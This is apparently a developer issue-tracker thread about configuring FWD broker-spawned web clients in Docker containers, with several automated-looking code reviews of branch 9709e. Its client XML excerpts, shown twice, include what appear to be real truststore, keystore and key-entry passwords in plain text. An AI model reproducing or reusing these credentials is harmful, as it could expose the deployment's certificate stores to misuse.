26/05/12 16:10:30.308-0400 | WARNING | com.goldencode.p2j.main.ClientSpawner | ThreadName:qtp1334753660-41 | Cannot spawn a new remote client.
The portion of the directory containing portsRange is:
<node class="container" name="portsRange">
<node class="integer" name="from">
<node-attribute name="value" value="7449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="7459"/>
</node>
<node class="string" name="forwardedProto">
<node-attribute name="value" value="https"/>
</node>
<node class="string" name="forwardedHost">
<node-attribute name="value" value="cact_server"/>
</node>
<node class="string" name="namePrefix">
<node-attribute name="value" value="client"/>
</node>
</node>
I noticed I didn't have, but even after adding it I get the same:
<node class="boolean" name="directPortMapping">
<node-attribute name="value" value="TRUE"/>
</node>
The nginx configuration file contains the below at the top:
map $request_uri $xxxx_new_upstream_port {
~^/proxy/client1/(.*)$ 7449;
~^/proxy/client2/(.*)$ 7450;
~^/proxy/client3/(.*)$ 7451;
~^/proxy/client4/(.*)$ 7452;
~^/proxy/client5/(.*)$ 7453;
~^/proxy/client6/(.*)$ 7454;
~^/proxy/client7/(.*)$ 7455;
~^/proxy/client8/(.*)$ 7456;
~^/proxy/client9/(.*)$ 7457;
~^/proxy/client10/(.*)$ 7458;
~^/proxy/client11/(.*)$ 7459;
}
#923 Updated by Roger Borrello 2 months ago
Sergey, my client_broker1.xml seems to be OK...
<node type="client">
<client>
<mode broker="true" />
<mode batch="true" />
<driver background="true" />
<driver type="gui_native" />
<logging path="/usr/c-act/logs/client_%uos_%pid_%uf_%g.log" rotationLimit="" rotationCount="" />
</client>
<net>
<server host="cact_server" />
<server port="3433" />
<server secure_port="3333" />
<connection secure="true" />
</net>
<security>
<certificate validate="true" />
<truststore filename="/opt/counteract/security/srv-certs.store" />
<truststore alias="standard" />
<keystore filename="/opt/counteract/security/broker1-private-key.store" />
<keystore processalias="broker1" />
<authentication type="program"/>
</security>
<access>
<password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
<password keystore="KkKarGE2HodNqjvQDP4sq9G2>3%R5_fI)13e" />
<password keyentry="Mve4ii1MOuE4%)d5-gXjaN8v6sB6NvSGfZ?1" />
</access>
<remote>
<retry count="10" />
<retry seconds="10" />
<spawner file="/opt/spawner/spawn" />
<agent host="cact_broker1"/>
<agent user="fwd"/>
<agent dedicatedMode="false"/>
<java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/opt/fwd/build/lib/" />
<java classpath="/opt/fwd/build/lib/p2j.jar" />
</remote>
</node>
Inside the container, the process seems to be good:
UID PID PPID C STIME TTY TIME CMD fwd 1 0 0 20:51 ? 00:00:00 /bin/bash /usr/local/bin/base_entrypoint.sh /opt/counteract/docker/docker-entrypoint_broker.sh /opt/counteract/etc/broker1_client.xml /opt/counteract/client 120 fwd 30 1 0 20:51 ? 00:00:00 /bin/bash /opt/counteract/docker/docker-entrypoint_broker.sh /opt/counteract/etc/broker1_client.xml /opt/counteract/client 120 fwd 33 30 0 20:53 ? 00:00:00 /bin/bash ./client.sh -bc /opt/counteract/etc/broker1_client.xml fwd 76 33 0 20:53 ? 00:00:03 java -XX:+HeapDumpOnOutOfMemoryError -Djava.library.path=/opt/fwd/build/lib -classpath ../lib/applicationinsights-agent-3.7.1.jar:../lib/applicationinsights-agent.jar:../l fwd 108 0 0 21:00 pts/0 00:00:00 bash fwd 129 108 0 21:04 pts/0 00:00:00 ps -aef
But when I connected, there was this logged in the server log:
26/05/12 20:55:32.222-0400 | SEVERE | com.goldencode.p2j.main.ClientSpawner | ThreadName:qtp132160494-43 | spawnRemote exception:
java.io.IOException: Cannot run program "./spawn" (in directory "/opt/counteract/client/."): error=2, No such file or directory
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1143)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1073)
at com.goldencode.p2j.main.BrokerCore.spawn(BrokerCore.java:365)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
at com.goldencode.p2j.util.TraceHelper.trace(TraceHelper.java:145)
at com.goldencode.p2j.net.Dispatcher.trace(Dispatcher.java:1100)
at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
at com.goldencode.p2j.net.Conversation.waitMessage(Conversation.java:344)
at com.goldencode.p2j.net.Queue.transactImpl(Queue.java:1239)
at com.goldencode.p2j.net.Queue.transact(Queue.java:687)
at com.goldencode.p2j.net.BaseSession.transact(BaseSession.java:276)
at com.goldencode.p2j.net.HighLevelObject.transact(HighLevelObject.java:221)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess$Invoker.invoke(RemoteObject.java:1673)
at com.goldencode.p2j.util.TraceHelper.trace(TraceHelper.java:145)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.trace(RemoteObject.java:1498)
at com.goldencode.p2j.net.RemoteObject$RemoteAccess.invokeCore(RemoteObject.java:1467)
at com.goldencode.p2j.net.InvocationStub.invoke(InvocationStub.java:144)
at jdk.proxy2/jdk.proxy2.$Proxy2.start(Unknown Source)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:632)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:254)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
Caused by: java.io.IOException: error=2, No such file or directory
at java.base/java.lang.ProcessImpl.forkAndExec(Native Method)
at java.base/java.lang.ProcessImpl.<init>(ProcessImpl.java:314)
at java.base/java.lang.ProcessImpl.start(ProcessImpl.java:244)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1110)
... 28 more
From #9709-113 it looks like that would be the default value for the spawner:
spawner = cfg.getString("remote", "spawner", "file", "./spawn");
But unless I'm missing something, it should be
/opt/spawner/spawn:
<remote>
...
<spawner file="/opt/spawner/spawn" />
#924 Updated by Sergey Ivanovskiy 2 months ago
Roger, what version do you use for this test? If you are using the trunk version, then remote node is still present in the client xml configuration file but if you are using 9709e, then remote node was removed from the configuration. You did not write which version you are using. For 9709e we are using #9709-896 client configuration. 9709e is waiting for your approval or rejection.
#925 Updated by Sergey Ivanovskiy 2 months ago
#9709-113 refers to the trunk code but 9709e gets rid of remote nodes.
#926 Updated by Roger Borrello 2 months ago
Sergey Ivanovskiy wrote:
Roger, what version do you use for this test? If you are using the trunk version, then
remotenode is still present in the client xml configuration file but if you are using 9709e, thenremotenode was removed from the configuration. You did not write which version you are using. For 9709e we are using #9709-896 client configuration. 9709e is waiting for your approval or rejection.
Since #9709-888 I have been working with 9709e. I wasn't getting the same error back then even though I still had remote>spawnerfile, but now I see from your example:
<client> <spawner value="/home/sbi/opt/hotel_gui/spawn"/>
So there were many changes I missed. Can you review the below? I am curious if the 2 separate <client> ... </client> sections are better combined?
<node type="client">
<client>
<mode broker="true" />
<mode batch="true" />
<driver background="true" />
<driver type="gui_native" />
</client>
<net>
<server host="cact_server" />
<server port="3433" />
<server secure_port="3333" />
<connection secure="true" />
</net>
<security>
<certificate validate="true" />
<truststore filename="/opt/counteract/security/srv-certs.store" />
<truststore alias="standard" />
<keystore filename="/opt/counteract/security/broker1-private-key.store" />
<keystore processalias="broker1" />
<authentication type="program"/>
</security>
<access>
<password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
<password keystore="KkKarGE2HodNqjvQDP4sq9G2>3%R5_fI)13e" />
<password keyentry="Mve4ii1MOuE4%)d5-gXjaN8v6sB6NvSGfZ?1" />
</access>
<broker>
<retry count="10" />
<retry seconds="10" />
</broker>
<client>
<spawner value="/opt/spawner/spawn" />
<java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/opt/fwd/build/lib/ -Dfile.encoding=UTF-8" />
<classpath value="/opt/fwd/build/lib/p2j.jar" />
<web host="cact_broker1"/>
<web dedicatedMode="false"/>
<web defaultOsUser="fwd"/>
<logging path="/usr/c-act/logs/client_%uos_%pid_%uf_%g.log" rotationLimit="" rotationCount="" />
</client>
</node>
#927 Updated by Sergey Ivanovskiy 2 months ago
Yes, two sections can be merged, xml configuration looks correct.
#928 Updated by Roger Borrello 2 months ago
I updated the broker1_client.xml, but upon connection I get:
cact_broker1’s server IP address could not be found.
Recently I had to change the Docker configuration so that the service names (cact_db, cact_server, and cact_broker1) would be used as the DNS names. This should be resolved between the containers private network. Didn't you have a program that would attempt the name resolutions?
#929 Updated by Sergey Ivanovskiy 2 months ago
I did not test your configuration and tested the configuration that should prove that the web client spawned by the broker is accessible. For this I used VM on which I started the broker client and the server is running on the host machine. This is a much simpler configuration.
#930 Updated by Sergey Ivanovskiy 2 months ago
Roger, what is the code that produces this "cact_broker1’s server IP address could not be found."?
#931 Updated by Sergey Ivanovskiy 2 months ago
This message is confusing. cact_broker1 is a host that runs BrokerCore client. cact_server is the application server. Why not cact_server IP address could not be found or resolved.
#932 Updated by Roger Borrello 2 months ago
Sergey Ivanovskiy wrote:
This message is confusing. cact_broker1 is a host that runs
BrokerCoreclient. cact_server is the application server. Why not cact_server IP address could not be found or resolved.
The message was displayed on the browser from my laptop connecting to the VM running 3 containers in a compose.
I updated my laptop's hosts file to contain below, so the VM's containers are addressable. However, I should only need to contact cact_server directly from my laptop, because the server and brokers are connecting internally to each other.
192.168.2.50 contdb hoteldb cactdb cact_db 192.168.2.51 contsrv hotelsrv cactsrv cact_server 192.168.2.52 contbrk1 hotelbrk1 cactbrk1 cact_broker1 192.168.2.53 contbrk2 hotelbrk2 cactbrk2 cact_broker2
It is confusing, but we need to understand what causes it because there can be much more complicated situations were our "3-in-one" can be replicated multiple times on a host. The container name must be unique across the domain of containers on that host.
#933 Updated by Roger Borrello 2 months ago
The TestHost java -jar /opt/counteract/etc/testhost.jar cact_broker1 on the cact_server shows:
host = cact_broker1 valid = false addr = cact_broker1/192.168.2.52, loopback=false, wildcard_address=false NetworkInterface.getByInetAddress is null fwd@cactsrv:/opt/counteract$ java -jar /opt/counteract/etc/testhost.jar cact_broker1 cactbrk1 host = cact_broker1 valid = false addr = cact_broker1/192.168.2.52, loopback=false, wildcard_address=false NetworkInterface.getByInetAddress is null host = cactbrk1 valid = false addr = cactbrk1/192.168.2.52, loopback=false, wildcard_address=false NetworkInterface.getByInetAddress is null
#934 Updated by Sergey Ivanovskiy 2 months ago
Please correct the issue that I tried to describe that the server container on vm is accessed by the browser running on the host. Login to web client should span the web client on the broker container running on vm. In this case the host must access the broker client container on vm.
#935 Updated by Sergey Ivanovskiy 2 months ago
However, I should only need to contact cact_server directly from my laptop, because the server and brokers are connecting internally to each other.
and the broker container must be also accessible from your laptop.
Do you have issues with 9709e? Can this branch be merged into the trunk?
#936 Updated by Sergey Ivanovskiy 2 months ago
I rebased 9709e and committed ClientsToPortsGenerator patch rev 16576 (9709e) to resolve client host number part of the generated client port name. (refs: #11454-22, #11454-26).
#937 Updated by Roger Borrello 2 months ago
Sergey Ivanovskiy wrote:
However, I should only need to contact cact_server directly from my laptop, because the server and brokers are connecting internally to each other.
and the broker container must be also accessible from your laptop.
Is this the case even with the NGINX proxy?
Do you have issues with 9709e? Can this branch be merged into the trunk?
I'm trying the latest revision, which includes the ClientsToPortsGenerator. So far my non-crazy (non-complex) configurations all work with this branch.
#938 Updated by Sergey Ivanovskiy 2 months ago
These settings are not supported it is probably came from 9709a branch that are discussed with you but they are not approved and now these changes are present only in the dead branch 9709a
<node class="boolean" name="directPortMapping">
<node-attribute name="value" value="TRUE"/>
</node>
Why did you use something that is not in 9709e?
#939 Updated by Sergey Ivanovskiy 2 months ago
Sergey Ivanovskiy wrote:
I rebased 9709e and committed ClientsToPortsGenerator patch rev 16576 (9709e) to resolve client host number part of the generated client port name. (refs: #11454-22, #11454-26).
Coming back to these changes that I do not agree with because the path has some information about the host and it brake the supported configurations. We should preserve the current ports mapping. The other issue is that each broker as we discussed in this branch (#9709-683, #9709-889) has its own configured ports range.
ClientsToPortsGenerator does not have this data to build the correct mapping because broker configuration and hosts are not mapped. Hosts can be dynamically attached to the same broker. If one broker has different ports ranges than the locally spawned web client, then the locally spawned web clients ports range will be used incorrectly. If ports ranges are the same, then the generated mapping is correct.
#940 Updated by Sergey Ivanovskiy 2 months ago
FWD Code Review — Branch 9709e (revs 16563..16576)¶
Findings¶
- [MAJOR] functional
WebClientsManager.createResourceQueue: Infinite loop whenjavaDebuggerNeeded=falseandjmxAgentNeeded=truewith!portsRestricted. UsesagentPorts.getFirst()(peek) instead ofpollFirst()(consume) for the JMX port, so thewhile(!agentPorts.isEmpty())loop never drains the list and spins forever at 100% CPU.
- [MAJOR] security
WebClientsManager.allocateClient: NullPointerException risk —hostsManager.getHostResource(host)can returnnullfor unregistered hosts, buthostData.portsRestrictedandhostData.from/toare accessed without a null check. The old code used instance fields which were always defined. This regresses defensive behavior when a broker has been deregistered or a stale remote reference reaches this code.
- [MAJOR] style
BrokerManager: Redundant importcom.goldencode.p2j.util.ConfigItem.Typewhencom.goldencode.p2j.util.*is already imported (line 91).
- [MAJOR] style
ClientsToPortsGenerator: Redundant importcom.goldencode.p2j.util.ConfigItem.Typewhencom.goldencode.p2j.util.*is already imported (line 88).
- [MAJOR] style
WebClientsManager: Redundant importcom.goldencode.p2j.main.HostsManager.HostData— same package, no import needed (line 100).
- [MAJOR] style
WebClientsManager: Redundant importcom.goldencode.p2j.util.ConfigItem.Typewhencom.goldencode.p2j.util.*is already imported (line 105).
- [MAJOR] style
BrokerCore.asleep: Missing space betweenwhileand(inwhile(ellapsed < sleepMilliseconds)(line 569).
- [MAJOR] style
BrokerCore.asleep: Missing spaces around binary-operator insleepMilliseconds-ellapsed(line 573).
- [MAJOR] style
BrokerCore.asleep: Missing space after//in comment//nopps(line 577).
- [MAJOR] style
BrokerCore: Double semicolon at end ofPARAM_CLIENT_WEB_PORTfield declaration (line 123).
- [MAJOR] style
BaseConfigItem: Typo "argnumets" in Javadoc @param descriptions (should be "arguments"), appears 4 times (lines 104, 108, 138, 142).
- [MINOR] performance
WebClientsManager.createResourceQueue:IntStream.rangeClosed().boxed().collect(Collectors.toSet())allocates an unnecessaryHashSetfrom a sequential range of unique ints, then immediately dumps into aLinkedList. The hashing is pure waste sincerangeClosedproduces no duplicates. For large port ranges (e.g. 10000–60000) this creates thousands of entries that are immediately discarded. Prefer.boxed().collect(Collectors.toCollection(LinkedList::new))or.boxed().toList().
- [MINOR] performance
BrokerManager.initialize:ConfigItem.createConfigItemOfType()called once per broker entry during initialization, creating a temporary wrapper on each iteration. Bounded by the number of brokers (cold path), so impact is negligible.
- [MINOR] style
Broker: Double space after=in assignmentthis.portsRestricted = (to > from) && (from > 0)(line 119).
- [MINOR] style
Broker: Two blank lines between fieldtodeclaration and the constructor instead of one (lines 102–103).
- [MINOR] style
ClientsToPortsGenerator: Missing space between period and opening parenthesis in history comment:name.(refs:(line 20).
- [MINOR] style
WebClientsManager.allocateClient: Double space in log message "All available ports are allocated" (lines 547, 585, 608).
Rejected findings¶
- [MINOR] security
ConfigItem.setContainerNodeSearchPath— REJECTED: The directory service resolves path components as literal child node names via HashMap lookup, not filesystem-style path resolution.../would be looked up as a literal child named "..", which would never exist, yieldingnull. No directory traversal is reachable.
#941 Updated by Sergey Ivanovskiy 2 months ago
FWD Code Review — Branch 9709e (revs 16563..16578, round 2)¶
Previously fixed (verified)¶
- [MAJOR] functional
WebClientsManager.createResourceQueue— Infinite loop: FIXED.getFirst()replaced withpollFirst(). - [MAJOR] security
WebClientsManager.allocateClient— NPE: FIXED.nullguard added beforehostDataaccess. - [MAJOR] performance
WebClientsManager.createResourceQueue— HashSet waste: FIXED.Collectors.toSet()replaced withCollectors.toCollection(LinkedList::new).
New findings¶
- [MAJOR] style
BrokerCore.asleep: Variable nameellapsedis misspelled — should beelapsed.
- [MAJOR] style
BrokerManager.initialize: Line 175 exceeds 110-character limit (134 chars).
- [MAJOR] style
BrokerManager.initialize: Line 177 exceeds 110-character limit (130 chars).
- [MAJOR] style
HostsManager.HostData: Inner class fields lack blank line separators between field declarations, reducing readability.
- [MAJOR] style
ConfigItem:CLASSPATHdeclaration exceeds 110-character limit (124 chars).
- [MAJOR] style
ConfigItem:LIB_PATHdeclaration exceeds 110-character limit (121 chars).
- [MAJOR] style
ConfigItem:SPAWNERdeclaration exceeds 110-character limit (120 chars).
- [MAJOR] style
ConfigItem:JVM_ARGSdeclaration exceeds 110-character limit (121 chars).
- [MAJOR] style
ConfigItem:MIN_AGENT_PORTdeclaration exceeds 110-character limit (134 chars).
- [MAJOR] style
ConfigItem:MAX_AGENT_PORTdeclaration exceeds 110-character limit (134 chars).
- [MAJOR] style
ConfigItem.read: The ternary forRELATIVE_TO_PARENTexceeds 110-character limit (125 chars).
- [MINOR] style
ConfigItem.Type: Javadoc contains duplicated words "for for" (lines 196 and 203).
- [MINOR] security
ClientsToPortsGenerator.appendHost:hostNameOrIpAddressis written tohosts.txtwithout sanitization. A hostname with embedded newlines or control characters could corrupt the file. Value arrives from a remote broker via RPC with no server-side revalidation beyond authentication.
- [MINOR] security
WebClientsManager.createResourceQueue: No upper-bound validation on web client or agent port ranges. A config withfrom=1,to=65535would pre-allocate 65535WebAllocatedResourcesobjects per broker, potentially causing memory pressure. Admin-controlled config mitigates this.
#942 Updated by Sergey Ivanovskiy 2 months ago
FWD Code Review — Branch 9709e (revs 16563..16579, round 3)¶
Previously fixed (verified)¶
- [MAJOR] functional
WebClientsManager.createResourceQueue— Infinite loop: FIXED (round 1). - [MAJOR] security
WebClientsManager.allocateClient— NPE: FIXED (round 1). - [MAJOR] performance
WebClientsManager.createResourceQueue— HashSet waste: FIXED (round 1). - [MAJOR] style
BrokerCore.asleep—ellapsedmisspelling: FIXED (round 2). - [MAJOR] style
ConfigItem— CLASSPATH, LIB_PATH, SPAWNER line length: FIXED (round 2). - [MAJOR] style
ConfigItem.read— RELATIVE_TO_PARENT ternary line length: FIXED (round 2). - [MAJOR] style
HostsManager.HostData— Fields lack blank lines: FIXED (round 2). - [MINOR] style
ConfigItem.Type— Javadoc "for for": FIXED (round 2).
Confirmed findings¶
- [MAJOR] security
HostsManager.addHost:appendHost()called at line 184 beforeInetAddress.getByName()at line 197. If DNS resolution throwsUnknownHostException(declared, no catch), the hosts file has already been corrupted with an invalid entry. Move DNS validation before the file write.
- [MAJOR] security
HostsManager.HostData: All 12 fields (resourcesQueue,from,to,portsRestricted, agent/JMX/debugger ports) arepublicand mutable. Eleven are write-once and could beprivate final. The class is public API viagetHostResource(), exposing security-relevant port configuration to tampering.
- [MAJOR] style
ConfigItem:JVM_ARGS(121 chars),MIN_AGENT_PORT(133 chars),MAX_AGENT_PORT(133 chars) declarations still exceed 110-character limit (UNFIXED from round 2).
- [MAJOR] style
BrokerManager.initialize: Line 175 (createConfigItemOfTypecall, 134 chars) still exceeds 110-character limit (UNFIXED from round 2).
- [MINOR] security
ClientsToPortsGenerator.appendHost:hostNameOrIpAddresswritten tohosts.txtwithout sanitization. Hostname with newlines/control chars corrupts the file. Call chain:BrokerCoreconfig → RPC →BrokerManager→HostsManager.addHost. Mitigated by authenticated broker RPC session requirement (UNFIXED from round 2, downgraded from MAJOR).
- [MINOR] security
WebClientsManager.createResourceQueue/Broker/BrokerManager.initialize: No upper-bound validation onfrom/toport ranges. Values like 1–65535 pre-allocate 65535 objects per broker. Cold/startup path, admin-controlled config (UNFIXED from round 2, downgraded from MAJOR).
- [MINOR] security
ConfigItem:DEFAULT_OS_USERbootstrap path change from (previously non-functional null category) toclient:web:defaultOsUsernow enables command-line override of the OS user for spawned processes.
- [MINOR] security
WebClientsManager: Port range only validated forfrom > 0andto > from— does not reject privileged ports (<1024), unlikeClientsToPortsGeneratorwhich rejectsfrom <= 1024.
- [MINOR] performance
WebClientsManager.registerWebClientSession: Removed early-return guard now executescleaners.remove()andwebClientConfigs.get()unconditionally. Operations return null in the unrestricted-ports case (no-ops), adding ~100ns per call. Negligible but unnecessary.
- [MINOR] style
ClientsToPortsGenerator: History entry line 20 missing space before(refs:(UNFIXED from round 1).
Rejected findings¶
- [MINOR] performance
WebClientsManager.freeClient— REJECTED: The guard removal was functionally necessary; the 6ConcurrentHashMap.remove()calls are O(1) each and several are never redundant. Performance impact is negligible. - [MINOR] performance
WebClientsManager.terminate— REJECTED:freeClient()is still guarded byif (config != null); the guard removal was functionally correct and saved only a single null-returning CHM call.
#943 Updated by Sergey Ivanovskiy 2 months ago
I got this result that can be considered for the review. These functional MAJORS are from 9709e changes that we discussed. Please review 9709e rev 16580.
Round 5 Code Review (revs 16563..16580)¶
- [MAJOR] functional
BrokerCore/ConfigItem: Bootstrap config namespace changed fromremote:*toclient:*/broker:*. Old keys (remote:retry:count,remote:spawner,remote:java:args, etc.) silently fall back to defaults. Externalclient.xmlor command-line overrides using old keys break. (confirmed)
- [MAJOR] functional
BrokerCore.spawn()/NativeSecureConnection/ClientBuilder/WebClientBuilder: Spawn command placeholder strings changed from${remote.*}to new values (e.g.${client:spawner:value},${client:jvmArgs:value}). External spawn templates or scripts with hardcoded old placeholders silently fail to be interpolated. (confirmed)
- [MAJOR] functional
ClientsToPortsGenerator.getPortName(): Port name output format changed fromclient11toclient-1-1(added hyphens). Breaks downstream parsers ofmap.clients-to-backendsand web root URLs. (confirmed)
- [MAJOR] style
ClientsToPortsGenerator.generate: L194 (125 chars) and L233 (121 chars) exceed 110-char limit after switching tocreateConfigItemOfTypefactory call.
- [MAJOR] style
WebClientsManager.WebClientsManager: L238 (116 chars) and L240 (112 chars) exceed 110-char limit after factory call switch.
- [MINOR] functional
HostsManager.addHost()/WebClientsManager.createResourceQueue(): Host registration semantics changed. Old code returnednullwhen no ports/agents configured; new code always returns non-nullHostData.hostsResources.putIfAbsentmeans first broker's config wins and subsequent brokers on same host have config silently dropped. (confirmed)
- [MINOR] functional
ConfigItem.read():RELATIVE_TO_PARENTbranch usesthis.nodeNameinstead offinalNodeName, bypassing placeholder substitution. No current impact (%snot used inCLIENT_PORT_RANGE_FROM/TO) but latent for future. (confirmed)
- [MINOR] security
Broker/WebClientsManager: Port range validation checks lower bounds but never upper bound (65535). Config withfrom=1, to=10000000would allocate ~10M objects, risking OOM. (confirmed)
- [MINOR] performance
BrokerCore.asleep:CountDownLatchallocated on every loop iteration.Thread.sleep()would avoid allocation. (confirmed, cold path)
- [MINOR] performance
BrokerCore.initialize:String.join(" ", jvmArgs)creates intermediate string scanned twice withindexOf()and twice with regex. Could scanList<String>directly. (confirmed, cold path)
- [MINOR] performance
WebClientsManager.\<init\>: 10 instance fields remain declared but are only used to seed localhostHostData; all runtime access goes throughhostData.*. Dead storage after construction. (confirmed)
- [MINOR] performance
HostsManager.addHost: UnconditionalresolvedHosts.putIfAbsent()even on cache hit. Trivial no-op overhead undersynchronized. (confirmed)
- [MINOR] style
ConfigItem.BROKER_CLIENT_RETRY_COUNT/BROKER_CLIENT_RETRY_SECONDS: Uses explicitnew ConfigItem<Integer>instead of diamondnew ConfigItem<>, inconsistent with all other declarations in the same file.
- [MINOR] style
ConfigItem: Trailing whitespace on blank lines at various positions.
Rejected findings (false positives)¶
- functional
WebClientsManager.allocateClient(): CleanerTimerTaskscheduled unconditionally — rejected: early return at unrestricted-mode check exits before cleaner scheduling code is reached.
- security
WebClientsManager.allocateClient: Host leaked in exception messages — rejected:hostcomes from internal configuration, never from user input. Including it in exceptions is standard debugging practice; removing it would harm diagnosability.
#944 Updated by Hynek Cihlar 2 months ago
Sergey, when you do review for yourself please don't post it here. It adds a lot of noise and is useless for the others reading the history.
#945 Updated by Sergey Ivanovskiy 2 months ago
Hynek Cihlar wrote:
Sergey, when you do review for yourself please don't post it here. It adds a lot of noise and is useless for the others reading the history.
OK. I just tried to publish reasons of my changes.
#946 Updated by Sergey Ivanovskiy 2 months ago
Due to #11401 I should include a hot patch into 9709e that removes deleteAuthCookie(request, response); logic from the code as a completely incorrect way to deal with cookies.
#947 Updated by Sergey Ivanovskiy about 2 months ago
- File docker_build.sh.BASE added
Roger, I got conflicts in tools/docker/docker_build.sh while rebasing 9709e, there were several conflicts in two iterations in this file so the changes confused me. Could you rebase 9709e? You should observe also one conflict in the history of src/com/goldencode/p2j/ui/client/gui/driver/web/GuiWebSocket.java that can be resolved easily by fixing the history number.
#948 Updated by Sergey Ivanovskiy about 2 months ago
- File deleted (
docker_build.sh.BASE)
#949 Updated by Roger Borrello about 2 months ago
Sergey Ivanovskiy wrote:
Roger, I got conflicts in
tools/docker/docker_build.shwhile rebasing 9709e, there were several conflicts in two iterations in this file so the changes confused me. Could you rebase 9709e? You should observe also one conflict in the history ofsrc/com/goldencode/p2j/ui/client/gui/driver/web/GuiWebSocket.javathat can be resolved easily by fixing the history number.
You removed any details. I'll try the rebase.
#950 Updated by Roger Borrello about 2 months ago
Rebase was completed. Pushed up to revision 16606.
#951 Updated by Sergey Ivanovskiy about 2 months ago
Roger Borrello wrote:
Rebase was completed. Pushed up to revision 16606.
Thank you! I had difficulties at the second round of conflicts after the first round conflicts were fixed.
#952 Updated by Roger Borrello about 2 months ago
The difficulties were because I had reverted the changes to docker_build.sh in 9709e because we had included changes in trunk. So I just made sure the branch's version was the same as trunk's.
#953 Updated by Roger Borrello about 2 months ago
But I need to include a bug fix in dbash.sh in revision 16607.
#954 Updated by Sergey Ivanovskiy about 2 months ago
Rebased 9709e up to rev. 16611.
#955 Updated by Sergey Ivanovskiy about 2 months ago
Committed revision 16612 (9709e) moved "delete auth cookies" patch to 11401a branch (refs: #11401).
#956 Updated by Sergey Ivanovskiy about 1 month ago
Rebased 9709e (rev 16628).
#957 Updated by Sergey Ivanovskiy about 1 month ago
The committed revision 16629 (9709e). Please note that the directory settings must be changed with this revision.
#958 Updated by Sergey Ivanovskiy about 1 month ago
- File web_clients_local_brokers.md added
Greg, Roger, the committed revision 16634 (9709e) eliminated hosts.txt usages. Please review the code and this AI generated specification to be aware of these changes.
#959 Updated by Sergey Ivanovskiy about 1 month ago
Committed revision 16636 (9709e) fixed issues related host index consistency between runtime and static directory configuration.
#960 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
web_clients_local_brokers.md)
#961 Updated by Sergey Ivanovskiy about 1 month ago
- File web_clients_local_brokers.md added
Updated version of the specification.
#962 Updated by Sergey Ivanovskiy about 1 month ago
- File web_clients_local_brokers.md
added
#963 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
web_clients_local_brokers.md)
#964 Updated by Sergey Ivanovskiy about 1 month ago
#9709-962 is the last version of the specification, precisely according to the current changes.
#965 Updated by Greg Shah about 1 month ago
Web Clients — Local Brokers, Host Order, and map.clients-to-backends¶
This note explains how per-broker web-client port ranges are described in the directory, how the host order / host index is derived from the directory (no hosts.txt file is involved), and how ClientsToPortsGenerator produces the map.clients-to-backends file consumed by a reverse proxy.
It is written against the broker example below and the code in com.goldencode.p2j.main.{BrokerDiscovery, Broker, ClientsToPortsGenerator, HostsManager, WebClientsManager}.
0. Two modes¶
ClientsToPortsGenerator.generate(String host) picks one of two modes based on whether the directory's brokers container has any broker nodes:
| Mode | Condition | Hosts | Host index |
|---|---|---|---|
| Broker mode | brokers container is non-empty |
one entry per ports-restricted broker | the broker's position in the directory order (loopback = 1, brokers = 2, 3, …) |
| Local mode | brokers container is empty |
a single host | always 1 |
In local mode the single host is the host argument passed to generate (the actual representer of the local server, e.g. its LAN address 192.168.100.3), or localhost when no host is supplied. No hosts.txt input is required in either mode — the host order comes entirely from the directory (broker mode) or from the single host argument (local mode).
Host order is directory-based. The host index is not stored in a file and is not an attribute on any node. In broker mode it is the enumeration order of the broker nodes under the
brokerscontainer; the FWD server's loopback is index1and brokers are2, 3, …. Because the generator and the running server both derive the index from that same ordered list, their indices agree by construction.
1. The directory data (broker mode)¶
A broker is a node under the brokers container (which itself lives under /server/<serverId>/, e.g. /server/default/):
<node class="container" name="brokers">
<node class="broker" name="broker1">
<node-attribute name="account" value="sbi"/>
<node-attribute name="broker_account" value="broker1_process"/>
<node-attribute name="host" value="192.168.100.28"/>
<node class="container" name="portsRange">
<node class="string" name="namePrefix">
<node-attribute name="value" value="client"/>
</node>
<node class="integer" name="from">
<node-attribute name="value" value="7449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="7459"/>
</node>
</node>
</node>
</node>
The broker object-class (see dir_schema.xml) is non-leaf and carries:
| Attribute | Mandatory | Multiple | Meaning |
|---|---|---|---|
host |
yes | no | The host name / IP address on which this broker's client (agent) runs. This is the broker's identity for host ordering. |
broker_account |
yes | no | The FWD process account the broker client must authenticate as to register with the server. |
account |
no | yes | The list of FWD user accounts served by this broker. |
The child portsRange container holds the web-client port range for this broker:
| Node | Meaning |
|---|---|
portsRange/from |
First web-client port (inclusive). |
portsRange/to |
Last web-client port (inclusive). |
portsRange/namePrefix |
Not read per broker — see the caveat in §6. |
In the example, broker1 runs on 192.168.100.28 and owns the web-client port range 7449..7459 (11 ports).
How the directory data is read¶
BrokerDiscovery.readBrokerConfigs(ds):
- Locates the
brokerscontainer viaUtils.findDirectoryNodePath(ds, "brokers", "container", false). - Enumerates the broker child nodes with
ds.enumerateNodes(path)and, in that enumeration order, builds aLinkedHashMap<String, Broker>(broker name →Broker). This ordered map is what defines the host order — see §2. - For each broker node,
